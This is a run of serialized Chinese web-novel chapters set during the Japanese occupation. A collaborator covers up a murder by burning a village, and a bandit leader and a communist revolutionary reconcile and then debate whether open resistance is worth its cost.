一旁的宋小曼听完这番谎话,瞬间气得俏脸涨红,胸口剧烈起伏,再也忍不住,当场厉声痛斥道:“你这纯属是胡说八道、颠倒黑白,昧着良心说假话!明明就是秦寿心狠手辣,当众活活打死了那个无辜百姓,哪里是什么意外撞墙而死?你简直无耻至极!” 面对宋小曼的斥责,张小发脸上没有半分慌乱,依旧不急不躁,甚至带着几分从容,他慢悠悠反问道:“三奶奶,我怎么是胡说八道呢?您口口声声说是秦寿动手打死人,可有人亲眼看见?谁能作证?” 这话一出,宋小曼瞬间被怼得哑口无言。 她心里清楚整件事情的来龙去脉,可偏偏当时现场并没有旁人,根本找不到目击证人。 闹出人命的全过程,只有秦寿本人,外加他随身带去的两个爪牙,除了他们三人之外,当时在场的那户人家已经全部死了。 也正是因为当时现场没有其他人在场,秦寿才敢在打死人之后,又肆意欺辱死者的妻女,毫无人性。 张小发才敢这般有恃无恐,当众颠倒黑白、混淆是非。 看着宋小曼一时无言的模样,张小发眼底飞快地闪过一丝得逞的阴笑,转瞬又敛去,依旧是一副坦荡的模样。 宋小曼憋得满心怒火,稚嫩的性子根本受不了这般颠倒黑白的欺诈。 她强压着怒气继续辩驳,声音里带着几分气急败坏的颤抖。 “那人浑身都是被殴打留下的伤痕,几乎说是遍体鳞伤,明眼人一看就是活活被人殴打致死,怎么可能是撞墙意外而死?” “还有!他事后毫无人性,糟蹋欺辱死者的妻子和女儿,硬生生逼得一对母女走投无路,双双上吊自尽!两条鲜活的人命,摆在眼前,这写都是铁铮铮的事实,你还想怎么抵赖?” 第756章 无耻的狡辩 尽管宋小曼说得义愤填膺,可张小发听后依旧面色不改,他的脸皮厚得无可撼动。 他继续狡辩道:“三奶奶,话可不能这么说啊,那母女二人帮着自家男人暴力抗拒缴纳公粮,是他的帮凶啊。她们事后自知理亏,害怕受到日本人的责罚,这才选择畏罪自尽,和秦寿没有任何关系啊。” 宋小曼眼中的怒火恨不得活剥了张小发。 可张小发继续笑眯眯地狡辩着:“那些村民不愿缴纳皇军公粮,心怀怨念,故意编造这些虚假谎话来煽动人心,您心地善良、涉世未深,可不能轻易听信这些流言蜚语,被旁人当枪使而不自知啊。” 张小发把受害者说成是滋事的罪人,把行凶恶人摘得干干净净。 宋小曼从来没有见过这般厚颜无耻颠倒黑白的小人。 她骨子里嫉恶如仇,可性子却有些稚嫩直白,从来只会讲道理辨是非,根本不懂恶人颠倒黑白的手段。 此刻被张小发的诡辩步步拿捏,气得浑身发抖,脸色青白交加,她指着张小发,半天说不出一句完整的话:“你……你……你实在太无耻了!” 她带着一丝不甘,咬牙质问道:“你敢不敢把秦寿叫出来?我们现在就去大田庄,到死者家中,当着全村乡亲的面,当众对质!敢不敢?” 张小发闻言,目光飞快地扫了一眼全程沉默不语的李二狗。 自始至终,李二狗就静静地立在一旁,冷眼旁观,一言不发,不帮腔、不插话,也不表态。 可张小发心里清楚,他的沉默,从来都不是无动于衷。 宋小曼的态度,就是李二狗默许的态度。 她要讨公道,就是李二狗的意思。 若是自己此刻断然拒绝,反而落了心虚,容易惹得李二狗不快。 他心思飞快地转动,转瞬便有了一个万全的算计,脸上却装作坦然大方的模样,缓缓点头道:“既然三奶奶执意要前去对质,想要一个真相,我岂有不从的道理?” 说完,他转头对着维持会院内高声吩咐道:“来人!把秦寿叫出来,随我们一同前往大田庄,三奶奶要当众对质!” 一旁沉默观战的李二狗,目光沉沉,心底却生出一丝异样的警觉。 张小发答应的太干脆了,明明是自己在颠倒黑白,宋小曼要当面对质,他为何却一点都不怕? 这个人一向阴险狡诈,现在却如此轻易就答应前往对质,甚至连一点迟疑都没有。 这份淡定,这份有恃无恐,实在是太过反常了。 他暗自思忖:张小发到底提前安排好了什么后手?为何敢如此坦然? 不多时,身形猥琐的秦寿,从维持会大院里走了出来。 他在江东地界混迹多年,靠着钻营巴结当上保长,最擅长看人下菜碟,江东但凡有点头脸的人物,他尽数认得。 一出门看见气场凛然的李二狗,秦寿瞬间换上满脸谄媚的笑意,快步上前,弯腰低头,恭恭敬敬地拱手问好。 “李管家!久仰您的大名,小的秦寿,见过李管家!” 那副卑微谄媚的模样,和他白日行凶作恶、草菅人命的狠毒模样,判若两人。 李二狗根本没搭理他。 他转头对宋小曼说道:“三奶奶,咱们现在出发吗?” “出发!”宋小曼一脸的正义凛然。 众人不再耽搁,一行人赶忙动身,朝着大田庄赶去。 凤凰镇驻地到大田庄的路程本就不远,夜里赶路速度更快,前后不到半个小时的功夫,一行人便顺利抵达大田庄村口。 可刚一靠近村口,所有人的脚步都顿住了。 漆黑的夜色里,大田庄村内火光冲天,滚滚浓烟腾空而起,猩红的火光染红了半边夜空,噼里啪啦的燃烧声隔着老远都能清晰听见。 熊熊烈火肆意肆虐着,整个村子都被火海笼罩,火光刺眼夺目。 这一刻,李二狗心底所有的疑惑瞬间落地,彻底明白了张小发有恃无恐的底气来源。 好阴狠的算计! 好缜密的手段! 早在他们动身前来之前,张小发和秦寿就已经提前暗中安排好了一切。 连夜纵火,烧毁死者宅院,烧毁死者的尸体,烧毁他们所有行凶的痕迹。 这招毁尸灭迹,足以抹除他们所有罪证。 人证可以狡辩,可物证一旦被焚毁,便再也没有一点可以指证秦寿罪行的凭据。 难怪张小发敢坦然答应当场对质,难怪他如此的从容淡定,原来他早就安排好一切。 看着村内冲天的火光,看着那片肆意蔓延的火海,李二狗眼底彻底覆上一层冰冷的寒意。 这两个人不能再留在这个世上了! 他们必须死! 只不过不是现在! 李二狗转头看向身侧满脸茫然的宋小曼,声音平静地说道:“三奶奶,我们回去吧。” 宋小曼整个人都愣住了,一双眼睛怔怔地望着村内冲天的火光,脑子一片空白,根本无法接受眼前的景象。 她猛地转头看向李二狗,眼神里满是不解、不甘和错愕,声音带着几分稚嫩的慌乱。 “回去?为什么要回去?我们还没有找出真相,还没有为枉死的百姓讨回公道!” 李二狗望着她单纯稚嫩的模样,看着她还抱着一丝公道可期的念想,心底微微一叹,一字一句地缓缓说道:“尸体已被尽数烧毁,现在已经没有看的必要了,我们还是回家吧。” 张小发压制住内心的狂喜,嘴里哀叹道:“哎呀哎呀,怎么会失火呢?真是太令人意外了。李管家,要不然咱们还是去村里看看吧?也许失火的并不是那户人家。” 张小发这是当众把李二狗当猴耍,可李二狗不是愚蠢的猴,岂能被他牵着鼻子走! “哼!” 他没有再搭理他,带着一脸茫然的宋小曼转身离开了。 “李管家,三奶奶,你们慢走啊,改日我再登门道歉。” 夜色风凉,火光灼灼,一场看似即将大白的公道,终究在恶人提前的阴狠算计下,彻底化为泡影。 第757章 不懂风情 大田庄村口的土路坑坑洼洼,一阵凄厉的冷风扫过,卷起一地细碎的尘土与枯草屑,像冰渣一样扑在人的脸上。令人不禁打一个寒颤。 李二狗看着冻得有些哆嗦的宋小曼,故意低头掸了掸衣襟上的灰尘,顺便看了一眼一直跟在他们身后的张二驴。 张二驴这个人忠厚老实,哪方面都挺好,就是在男女的事情上不开窍,可以说是完全不解风情。 李二狗一直等着张二驴主动提出先行离开,给自己和宋小曼制造单独相处的机会,可他这头蠢驴就是领会不了李二狗的意思。 李二狗瞥他一眼,他却和李二狗嘿嘿傻笑。 李二狗终于忍不住了,碍于宋小曼在场,又不能说得太直白,便说道:“二驴,你先回去吧。” 说完他眼角的余光不自觉飘向身侧立着的宋小曼,以此来提示张二驴别妨碍他们两人单独相处。 “我和三奶奶还有几句话要单独说。” 今晚来凤凰镇,他和张二驴是各骑一匹马来的,可现在要返回胡家大院,情形就不一样了。 宋小曼没有马骑,这也就意味着,她只能跟李二狗同骑一匹马回去。 这种身体近距离的亲密接触,正是李二狗心里盼望的。 他和宋小曼前几日闹了一些别扭,心里一直憋着一股闷气,当然也攒着对她满心的惦念。 两人之间有一股说不清道不明的隔阂,谁都不肯先低头,好好的一段情分,僵得让人心里发堵。 今天这局面,是老天爷递过来和好如初的绝佳机会。 两人能共骑一匹马独处一路,正好可以借着浓郁的夜色来消解彼此的生疏,把那点僵住的关系慢慢捂热。 只是这份藏在心底的小心思,他不愿意摆在明面上,更不想当着张二驴的面展露出来。 其实在胡家大院,大家都清楚,李二狗和宋小曼的关系不一般。 虽然没人敢明着议论,可私底下谁心里都透亮。 但越是如此,李二狗越不想弄得张扬。 两人之间的这点私情,他只想留着两个人悄悄温存,不想被旁人看了笑话,更不想让这份难得的亲近被外人打扰。 张二驴跟随李二狗多年,一向忠心耿耿,可就是榆木脑袋,一点不懂人情风月的那些弯弯绕。听了李二狗的吩咐,他根本没有揣摩出其中的门道,只一门心思想着表现自己对李二狗的忠心,他脸上带着朴实的憨笑,恭敬地说道:“狗哥,我腿脚快,不用骑马。这匹马就留下给三奶奶骑吧,我自己走着回去就行了。” 他说得无比真诚,全然是出于一片好心。 在他眼里,三奶奶是主子,又是女人,走不得这夜里的土路。 而自己却皮实惯了,常年奔走赶路,这点路程根本不算什么,连夜走回胡家大院,不过是费点脚力,根本不算难事。 可他的这份忠心,落在李二狗耳朵里,只让人满心窝火。 李二狗心里暗自暗骂张二驴这头蠢驴不解风情。 他巴不得张二驴赶紧走,离得远远的,好让他和宋小曼独处,借着共骑一马的温存,把这几日僵持的隔阂彻底化开。 这是他俩修复情分最好的机会,夜色深沉,四下无人,正是说贴心话的好时候。 偏偏这张二驴彪呼呼的一片忠心,硬生生把这份暧昧的氛围搅得稀巴碎。 李二狗极力压制着心底的不耐烦,尽量让自己语气听起来没有波动,他向着张二驴摆了摆手,说道:“这里离胡家大院太远了,黑灯瞎火的路上也不好走,你靠两条腿走回去,走到天亮都未必能走到,你还是骑马先回去吧。” 李二狗这话听着是关心体恤张二驴。 张二驴心里暖暖的,只觉得自己跟对了主子。 旁人都说李二狗的脾气冲,可只有跟着他时间久了才会知道,李二狗是真心体恤手底下的这些兄弟,他真的是一个好领导。 人心都是肉长的,李二狗这般体恤自己,张二驴心里越发愧疚,更要拿出自己的忠心来回报。他愈发恭敬地摇了摇头,腰杆子挺得笔直,一脸的恳切。 “狗哥,我真没事!我打小就走惯了夜路,山里野地都跑遍了,这点土路不算啥。我一溜小跑就赶回去了!这马还是留下给三奶奶骑吧,夜里走路太累了。” 一遍两遍的推让,彻底磨没了李二狗仅剩的那点耐心。 他想跟宋小曼温存独处的心思,被张二驴这股子死心眼的执拗堵得严严实实,胸口的火气瞬间就窜了上来。 李二狗脸色一沉,声音陡然变得冷硬粗暴,低声呵斥道:“你他娘的怎么那么多废话?让你骑马走你就赶紧走,哪来这么多啰嗦话!” 他抬手指了指缰绳,眼神凌厉。 “再磨磨唧唧不走,老子直接拿皮鞭子抽你!赶紧给老子滚!” 李二狗这突如其来的怒火,吓得张二驴浑身一僵。 他傻傻地站在原地,全然摸不着头脑,心里满是委屈。 自己一片忠心好意,处处为他为宋小曼着想,怎么平白无故还挨了一顿狠骂? 这和谁讲理去? 他虽然委屈,但也不敢顶嘴,也不敢再耽搁。 跟着李二狗这么多年,他最清楚,李二狗要是真发了火,抽人绝不含糊。 张二驴憋着满心的委屈,悻悻地翻身上马,耷拉着脑袋,扬鞭催马,哒哒的马蹄声渐渐远去,很快消失在沉沉夜色里。 荒野之上,终于彻底安静了下来。 偌大的天地间,风吹过荒草簌簌作响,远处村落的灯火早已熄灭,只剩下沉沉夜色,完全笼罩着他和宋小曼两个人。 李二狗这点藏不住的小心思,自以为遮掩得极好,可从头到尾,全都被身旁的宋小曼看了个明明白白。 她聪慧过人,怎么会看不懂他心里的这点小伎俩? 看着张二驴落寞离去的方向,宋小曼轻轻地叹了一口气,侧过头看向身边这个让自己又爱又恨的男人,眼底带着几分嗔怪,也带着淡淡的数落意味。 第758章 你喜欢前面还是后面 “二驴对你忠心耿耿,事事都想着你,一心一意跟着你。你倒好,人家好心好意体恤你,你不分青红皂白,张口就骂人家,他可真是拍马屁硬生生拍到了你的马蹄子上。” 李二狗看着她眉眼间浅浅的责怪,方才的戾气瞬间消散得无影无踪,脸上重新挂上了温柔的笑意。 他故意凑近了她一步,脸几乎贴在了她的脸上,语气里带着几分痞气的宠溺。 “这小子就是缺乏眼力劲,木头疙瘩一个,一点也不懂得风花雪月。该骂!不骂他,他永远学不会。” “就你最机灵,就你心眼子最多,哼。” 宋小曼轻哼一声,眉眼弯弯,嘴上带着嫌弃,眼底却藏着一丝藏不住的笑意,浅浅的情愫在眼底流转。 夜色漆黑,没有星月点缀,一阵寒凉的夜风骤然席卷而来,穿过荒芜的土路,拂过满地的荒草,直直地扑在宋小曼单薄的身上。 她穿的衣衫本就单薄,夜里的风刺骨的冷。 冷风贴着肌肤钻进去,让她的身子微微一僵,下意识地缩了缩肩膀,忍不住打了个浅浅的寒颤。 这细微的一个小动作,被李二狗尽收眼底。 他心头一软,所有的浮躁火气尽数褪去,语气也变得温柔妥帖起来。 “太冷了,你别冻着了,上马吧,咱们回家。” 宋小曼抬眸看向身前静静立着的骏马,又转头望了望空荡荡的四周,她声音软软的,带着几分少女的娇俏。 “现下就只剩下这一匹马了,咱们两个人,要怎么骑?” 李二狗低头看着她近在咫尺的脸庞,夜色朦胧,遮不住她细腻白净的眉眼,遮不住她眼底澄澈的光。 心头的缱绻温柔层层翻涌,他嘴角勾起一抹坏笑,语气带着几分戏谑的温柔。 “自然是一起骑。夜色正好,长路相伴,咱们也算是双宿双飞,多好。嘿嘿。” 直白而又暧昧的话语,落在耳边,让宋小曼脸颊瞬间发烫。 她轻轻地瞪了他一眼,眼底没有半分恼怒,只剩下满满的娇羞,声音软糯中带着嗔怪:“你真讨厌!” 夜色温柔,人心缱绻,方才连日以来的僵持隔阂,在这轻声笑语里,悄悄消融了大半。 李二狗看着她泛红的脸颊,心头的暖意越发浓郁,故意往前凑了凑,气息轻轻拂过她的耳畔。 “那你说说,你想在我前面,还是在后面?” 李二狗本是随口的一句玩笑话,却偏偏带着说不清道不明的暧昧。 话音落下的瞬间,引起宋小曼无限的遐想,想到过往的经历,她的整张脸瞬间红透,从脸颊一直蔓延到耳根,连白皙的脖颈都染上了一层浅浅的绯红。 她长长的睫毛轻轻地颤动了一下,不敢抬头看他的眼睛,身子都微微僵硬了些许,羞得不知道该如何答话。 沉默了一会儿,她才娇羞地说道:“那我在前面吧。” 看着她这般含羞带怯的模样,李二狗心头一片熨帖,忍不住逗她道:“我就知道,你最喜欢在前面。” 这句刻意的调侃,让宋小曼越发窘迫羞涩,她当即抬眸瞪了他一眼,带着几分恼羞成怒的娇嗔。 “你……你再胡说八道,我就不骑马了,我自己走路回去!哼!” 看她眉眼间带着薄薄的羞恼,李二狗不敢再打趣,连忙服软认错。 “好好好,我错了,我不乱说了还不行?是你自己说要坐前面的,可不是我胡乱编排你。” “你还说?”宋小曼脸颊更红,轻轻跺了一下脚,娇嗔着打断他的话。 “不说了,半句都不说了。” 李二狗彻底认怂,眼底满是宠溺的笑意,温柔地抬手示意马背:“上马吧,我的三奶奶。” “哼!” 宋小曼别过脸,佯装还在生气,可嘴角压不住的笑意,早已暴露了她心底的柔软。 李二狗小心翼翼地伸出手,扶着她的手肘,稳稳地托着她的身子,将她扶上高高的马背。 待宋小曼坐稳身子,他才利落抬手按住马鞍,身形一跃,稳稳跨上马背,紧随其后坐了上来。 下一瞬,宽阔温热的胸膛便紧紧地贴住了宋小曼单薄纤细的后背。 他顺势抬起双臂,从两侧环住她的腰身,将她圈在自己的怀里。 两人的身子紧紧地贴在一起,竟没有一点空隙。 宋小曼知道李二狗是故意的,她不仅不恼,反而很享受。 他身上独有的温热气息,混着淡淡的烟火气,稳稳地包裹住了她。 隔着两层衣衫,彼此的体温都可以清晰地交融在一起,一股滚烫的热流瞬间蔓延到两个人的四肢百骸。 夜里的风是凉的,可相拥的身子却是滚烫的。 前几日所有的冷战、别扭、僵持、疏离,在这紧密无间的相拥里,尽数化作了心口翻涌的滚烫。 两人挨得极近,李二狗微微低头,嘴唇几乎贴着她柔软的耳畔,温热的气息轻轻扫过她滚烫的耳垂,声音极低极轻,温柔又缱绻。 “准备好了吗?” 宋小曼记得以前他们每次温存,李二狗在开始之前前,都会问她这句话。 她身子轻轻一颤,整个人都陷在他温热的怀抱里。 她没有说话,只是轻轻地点了点头。 那细微的动作,落在李二狗眼里,贴在她身后的肌肤都屏住了呼吸。 他能清楚地感受到她腰身细微的颤动,能清楚地感受到她耳畔传来的滚烫,那种灼热的触感,烫得他心头一阵躁动。 心头的温柔与贪恋层层叠叠地翻涌上来,缠得人心里发软。 李二狗再也无法忍受心底的酥痒,他手腕一抖,轻轻地拉动一下缰绳,低声喝了一句。 “驾!” 马蹄轻轻地扬起,踏着夜色里的土路,缓缓往前奔走。 “驾!驾!” 夜色漫漫,长路寂静。 马儿稳步前行,偶尔颠簸晃动,宋小曼纤细柔软的身子,便会不受控制地轻轻往后靠去,一次次贴进李二狗宽厚温热的怀里。 他们之间的每一次不经意的贴合,都会带来一阵细腻滚烫的悸动。 第759章 一辈子太长,只争朝夕 宋小曼的后背紧紧地贴着李二狗温热的胸膛,腰间圈着他有力滚烫的手臂,熟悉又安心的气息将她小小的身体层层包裹着。 她几乎难以呼吸。 此时,她心底此前所有的防备、所有的疏离,此刻尽数瓦解消融。 而李二狗拥着怀里温软的人,鼻尖萦绕着她淡淡的清雅气息,怀里的温热真实而又熨帖。 这一刻,没有了大田庄的纷争,没有了维持会门前的对峙,没有了家国乱世的沉重,更没有了两人信仰道路上的分歧。 没有了旁人的窥探,没有了世俗的规矩,没有了身份的隔阂。 天地之间,荒路之上,就只有他和她两个人,彼此相依相偎,随马前行。 晚风温柔拂面,马蹄哒哒作响,怀里的心上人温软如玉。 李二狗心头涌起一阵从未有过的快意,感觉整个人都是轻飘飘的,像是跟着晚风、跟着马蹄,一同飞了起来一般。 一路策马慢行,一路温存相依。 一路颠簸相拥,一路轻声私语。 两个人之间积攒多日的隔阂,终于被一点一点地冲刷得干干净净。 等到马儿缓缓地停在自己院门之外时,横亘在李二狗和宋小曼之间所有的僵持,早已烟消云散。 此刻的两人,心底只剩下浓郁的缱绻与眷恋,满心满眼都是彼此。 李二狗扶着宋小曼下了马,两人彼此对视一眼,便明白了彼此内心的期待。 此刻,所有的言语都是多余的。 李二狗拉着宋小曼的手就迫不及待地进了房间。 历经一夜的温存,两人彼此依偎缠绵,只恨不能时时刻刻黏在一起,连一分一秒的分离都舍不得。 只盼着彼此的身子、彼此的心,能牢牢地缠在一起,再也不分开。 夜色最深沉的时分,万籁俱寂,唯有屋内的温存绵长。 一夜缱绻温存,漫漫长夜尽数沉溺在彼此的温柔里。 窗外天色一点点从漆黑转为鱼肚白,天边泛起一层淡淡的微光,镇子上陆续传来几声零星的鸡鸣。 一声、两声、三声…… 鸡叫三遍,天光彻底破晓,清晨的微光透过窗棂,轻轻地洒进屋内,照亮一室的温柔。 李二狗这才缓缓地从深沉的睡梦里醒转过来。 一夜纵情温存,他浑身筋骨都像是被彻底掰开揉碎了一般,浑身酸软无力,连抬手的力气都没有,只觉得自己的骨头都像是散了架,浑身透着慵懒的倦意。 他心里暗暗诧异,宋小曼身形单薄,软软小小的一副身子,看似弱不禁风,可身体里却偏偏藏着数不尽的精力。 一夜的缠绵缱绻,自己这般身强力壮的人都累得浑身发软,她却半点不见疲态。 晨起的清风穿过门缝,带着清晨微凉的气息拂进屋中。 此刻宋小曼并没有在身旁,李二狗缓了好一会儿,才慢慢撑起酸软的身子,披上衣衫,缓步走出卧房,来到院子里。 清晨的院落清清静静,空气清新微凉,扫尽了夜里的沉郁。 目光转过,他一眼便看到了厨房的方向,正冒着袅袅淡淡的炊烟。 青烟缓缓袅袅,顺着晨风轻轻飘散,带着一股淡淡的烟火气息。 灶台边上,一道纤细熟悉的身影正在忙碌着。 此人正是宋小曼。 她已经早早起身,换下了昨夜的衣衫,此时穿着一身素净布衣,挽着袖口,安安静静站在灶台前,有条不紊地生火煮饭。 晨光落在她的身上,勾勒出她温柔沉静的侧影,褪去了夜里的娇羞缱绻,多了几分安稳居家的温柔。 李二狗站在院子中央,静静看了她片刻,心头泛起几分新奇。 他清楚地记得,几天之前,宋小曼还是一个十指不沾阳春水的女人。 那时候的她,连最简单的灶火都点不明白,柴火烟熏得她满脸黑灰,那狼狈的样子,现在想来,还是令他忍俊不禁。 这才不过短短数日,她竟然已经学会了生火煮饭,全然变了一副模样。 心头带着几分诧异,李二狗缓步走了过去,站在厨房门口,看着忙碌的她,轻声问道:“小曼,你什么时候学会的做饭?我记得前几天,你连灶火都点不着。” 宋小曼手里的动作没有停,指尖捏着米瓢,细细地淘着锅里的米,水流轻轻冲刷着米粒,沙沙作响。 她眉眼平静柔和,嘴角带着淡淡的浅笑,轻轻答道:“人总是要慢慢学着成长的。乱世年头,世事无常,谁也不能一辈子都活在旁人的庇护里。我总不能一辈子都靠着你,一辈子都躲在你的身后吧?” 平平淡淡的一句话,轻柔入耳,却像一块轻飘飘的石头,轻轻地砸在了李二狗的心上,瞬间漾开了一圈又一圈的酸涩涟漪。 他站在原地,看着眼前这个温柔沉静的女子,心头莫名涌上一股浓浓的伤感。 是啊,她说得没错,人总要学会成长,总要学会独立,可说到底,是他们根本没有一辈子相守在一起的缘分。 这世道太乱了,战火纷飞,人命更是如草芥,明天和意外不知道哪个先来。 他和她,从一开始就走在了两条截然不同的路上。 他是混迹草莽,带领着上千号土匪,为了稳住局面,不得不暂时委身日本人,当上了维持会的会长。 他只求守住自己的人、守住一方故土,在乱世里有一处落脚之地。 而宋小曼则不同,她放弃锦衣玉食的生活,心怀家国大义,满心都是救亡图存、拯救百姓于水火的革命理想。 这两条路,截然不同,虽不是背道而驰,却也是两条永远不能相交的平行线。 他们今日能这般温存相伴,晨起相守,夜里相依,已是乱世之中难得的侥幸。 一辈子太长,只争朝夕。 别说相守一生,朝夕相伴,很多时候,他们能安稳相守的日子,连一天、一时、一刻,都像是偷来的奢望,随时可能被这个乱世、被自己的信仰生生拆散。 心头的酸涩沉沉地积压下来,压得李二狗胸口发闷。 第760章 我做不到 李二狗沉默了片刻,压下心底不断翻涌的怅然,看着她温柔的侧脸,语气带着自己独有的疼惜,认真地劝道:“小曼,你根本不用这样逼着自己成长,也不用这般辛苦。你完全可以选择一条安稳轻松的路。留在我身边,有我李二狗在一日,我就护你一日周全。我绝不会让你受半点委屈,绝不会让你吃半点苦头,一辈子让你安稳无忧。” 这是他最朴实最真切的心愿。 不求她能带给自己什么,只求她放下所有的奔波、所有的危险,安安稳稳地留在自己身边,做一个无忧无虑的女子,不必扛家国大义,不必担苍生重任,更不必涉乱世风险。 可宋小曼闻言,只是轻轻地摇了摇头,手上依旧有条不紊地忙着锅里的早饭,眉眼澄澈且坚定。 “二狗,我从来没有觉得我选择的这条路艰苦。” 她抬起眼眸,转头看向他,目光带着滚烫的信仰与坚定:“你只是没有真正了解我们,没有读懂我们党的宗旨和主张。我们走的这条路,不是为了我们自己,是为了中国千千万万受苦的百姓,为了推翻这个吃人的旧社会,为了赶走凶残的日本侵略者,为了我们的子孙后代能过上安稳的日子。” “等你哪天真正看懂了,我相信,你一定会理解我们,一定会主动加入我们,和我们站在一起的。” 李二狗静静地看着她眼里滚烫的光,看着她满心赤诚的模样,心里默默地叹了口气。 他心里透亮,宋小曼终究还是太单纯了。 她以为自己加入与否,是一念之间的选择,是懂不懂道理的问题。 其实李二狗加不加入,对她们的组织来说并不重要,重要的是他手里掌控的清风集团上千号弟兄。 一旦李二狗带领着手下的弟兄加入了她们,那当年在鄂豫皖根据地发生的事情会不会重演?到时候自己说的话还管不管用? 这支队伍还会听他的指挥吗? 李二狗不愿意继续纠结这个沉重的话题,更不愿意破坏此刻温柔的氛围,当即他轻轻转开话题。 “先不说这些了。小曼,昨日在大田庄,你做事太冲动了。” 一提到昨晚的事情,宋小曼脸上温柔的笑意微微收敛起来,眼底多了几分凛然正气。 她抬起头,理直气壮地说道:“二狗,你昨晚不该拦我。秦寿那个畜生,横行乡里,作恶多端,更是肆意残杀无辜村民,欺凌糟蹋妇人儿童,这桩桩件件都是铁证如山,他就是一个彻头彻尾的人渣败类。” “眼睁睁看着他祸害乡里,欺压百姓,我怎么可能做到视而不见?我真的做不到啊!” 李二狗看着她一腔热血的模样,心头既是无奈又是心疼,他耐着性子解释道:“小曼,我不是让你纵容恶人,我也从来没有说过秦寿做得对,他作恶,迟早是要付出代价的。你错在做事的方式,你想想,深更半夜,你带着一众村民,堵在维持会门口聚众抗议,这实在是太过张扬了。那群人心狠手辣,你这般硬碰硬,太容易出事了。” 可这番话,并没有说服宋小曼。 院子里的晨风吹过来,卷着灶房飘出来的烟火气,淡淡的米香混着柴火的焦味,弥漫在屋中。李二狗站在原地,心里堵得厉害。 他有一肚子的话想说,可话到嘴边,又全都咽了回去。 宋小曼低下头继续打理灶上的锅。 火光在她脸颊上跳动着,映得她眉眼愈加清亮。 她只是安安静静地做着手里的活,可那份刻进骨子里的执拗,却清清楚楚摆在那里。 李二狗看着她的背影,心里五味杂陈。 他承认,宋小曼说得有道理。 世道昏暗,日本人到处烧杀抢掠,地方上的劣绅、维持会的狗腿子更是横行霸道,普通老百姓早已被压榨得喘不过气来。 若是所有人都缩起脖子忍气吞声,这日子就永远没有出头之日。 可道理归道理,现实又是另一回事。 他见过太多满怀一腔热血的人。 当年在鄂豫皖根据地,多少年轻人揣着一腔救国的热忱,义无反顾地投身革命。 可乱世之中,人心叵测,多少理想被现实碾得粉碎。 有的人一腔热血,最后落得被自己人清算。 有的人为了理想抛头颅洒热血,到头来却什么都没有改变。 那些画面,就像烙印一样烙在他的脑子里,一想起来,心口就发沉。 他不是不懂得家国大义,只是他见过太多人的血,所以他不敢轻易把自己,也不敢把身边人的性命,押在根本看不见的未来上面。 “其实我也想轰轰烈烈地干一场,哪怕是死了也不会后悔,可人一旦死了,百姓依旧受苦,世道依旧混乱,我们做这些又有什么意义呢?” 宋小曼停下手中的动作,侧过头来看他。 晨光落在她的眼睫上,投下一抹浅浅的阴影。 “二狗,就算现在看不到结果,我们也要去做。”她的声音不高,却显得无比坚定,“倘若人人都等着看见结果才肯出手,那这个世上,就永远不会有人敢迈出第一步。” 李二狗双腿有些酸软,他往后退了一步,把身体靠在灶房的门框上。 他身上还带着夜里未散尽的倦意,眉宇间却满是现实的沉重。 “我不是说你不该反抗。”他放缓了语气,尽量不去和她硬碰硬,“秦寿作恶,我心里同样憎恨。要收拾他,有的是法子。我们可以暗中动手,可以找个机会设圈套,也可以借着各方势力互相拉扯。可你偏要带着一群手无寸铁的老百姓,跑到维持会门口去抗议。那些村民,都是本分种地的庄户人家,他们哪里经得起维持会的报复?今天闹过一场,往后张小发和秦寿记恨在心,随意找个由头,就能抄他们的家,抓他们的人。” 宋小曼轻轻地叹了口气,柴火在灶膛里噼啪燃烧,火星偶尔蹦出来,又很快熄灭。 第761章 护她一时,却护不了她一世 “我明白这里面的风险。”她抬眼看向李二狗,“可如果连站出来说话的人都没有,秦寿就会更加肆无忌惮。今天他敢欺压百姓,明天就敢做出更过分的事。百姓心里憋着怨气,总得要有一个出口。就算这次抗争失败,至少也可以让所有的人都知道,不是所有人都甘愿低头受辱。” “可这代价太大了。”李二狗的声音沉了下去,“拿自己的身家性命去赌一个渺茫的希望,这值得吗?” 这句话戳到了宋小曼心底的痛处。 她不是没有想过这些。 从昨夜回来之后,她也反复回想昨日的经过。 她清楚,自己的举动确实冒失,可即便如此,她依旧不认为自己应当就此退缩。 “我知道代价沉重。”她的声音微微有些发哑,“可乱世之中,哪里有不用付出代价就取得胜利的抗争?若是因为害怕付出代价,就干脆什么都不去做,任由恶人在这个世上横行,那才是真的悲哀。” 她往前走了半步,离李二狗更近了一些。 两人之间隔着灶台升腾起来的淡淡热气,空气里弥漫着饭菜的香气。 “二狗,我知道你心里顾虑重重。你见过很多残酷的事情,所以不敢轻易相信那些远大的理想。”宋小曼的目光真挚,带着一丝恳切,“可你不能因为曾经见过黑暗,就认定世间永远不会有光亮。” 李二狗望着她,眼前的这个女子,身子单薄,看着柔弱,可骨子里的那股韧劲,却是很多男人都比不上的。 昨夜温存的时候,她是那副缱绻柔软的模样,可一谈到自己的信仰,她便立刻变回那个不惧生死、立场坚定的革命者。 他心里是真的疼惜她。 昨夜策马同归,夜色之下相拥相依,那份儿女情长是实实在在的。 他满心期盼,能把她护在自己羽翼之下,让她远离刀枪纷争,不必直面那些刀光血影。 可宋小曼的心,根本就不在这一方安稳的小院里。 她的目光望向的是整个苦难的世道,是千千万万受苦的普通人。 “我知道你的心意,可我见过的事情,不是你凭着一腔热血就能想象的。你以为只要众人齐心,就可以扭转乾坤。可现实里,有多少人打着救国的旗号,行的却是争权夺利的勾当。” 他没有把话说得太透,鄂豫皖的那些旧事,他不愿意反复拿出来讲。 那些血淋淋的过往,说出来只会徒增伤感。 宋小曼微微蹙起眉头,她能够感受到李二狗心底那层厚厚的防备。 他不是反对正义,不是憎恨恶人,只是对她所信奉的道路,充满了不信任。 “世道确实有肮脏的地方,可不能因为有龌龊,就全盘否定所有的理想。”宋小曼语气坚定地说道,“我们的党,就是要涤荡这些污浊。我们就是要推翻欺压百姓的旧制度,赶走日本侵略者,让全中国所有穷苦的人能活下去,有尊严的活下去。” 李二狗还是忍不住摇了摇头。 “道理讲得再好,可这现实之中处处都充满了凶险。”他看向宋小曼,眼神里满是担忧,“昨日,张小发已经对你动了歹念。要不是我赶得及时,后果将不堪设想。你想想,一旦你的身份暴露,日本人就会盯上你。他们不会跟你讲什么道理,只会用酷刑、用杀戮来对付你。” “我早就做好了牺牲的准备。”宋小曼坦然地迎着他的目光,没有半分退缩,“从我选择走上这条路开始,我就明白,死亡随时都有可能到来。” 她的声音很轻,却字字掷地有声:“苟活于世,看着同胞受尽欺凌,看着家国沦丧,那样活着,又有什么意义呢?与其窝在安全的地方苟且偷生,不如轰轰烈烈地拼上一回,就算最后身死,也无愧于心。” 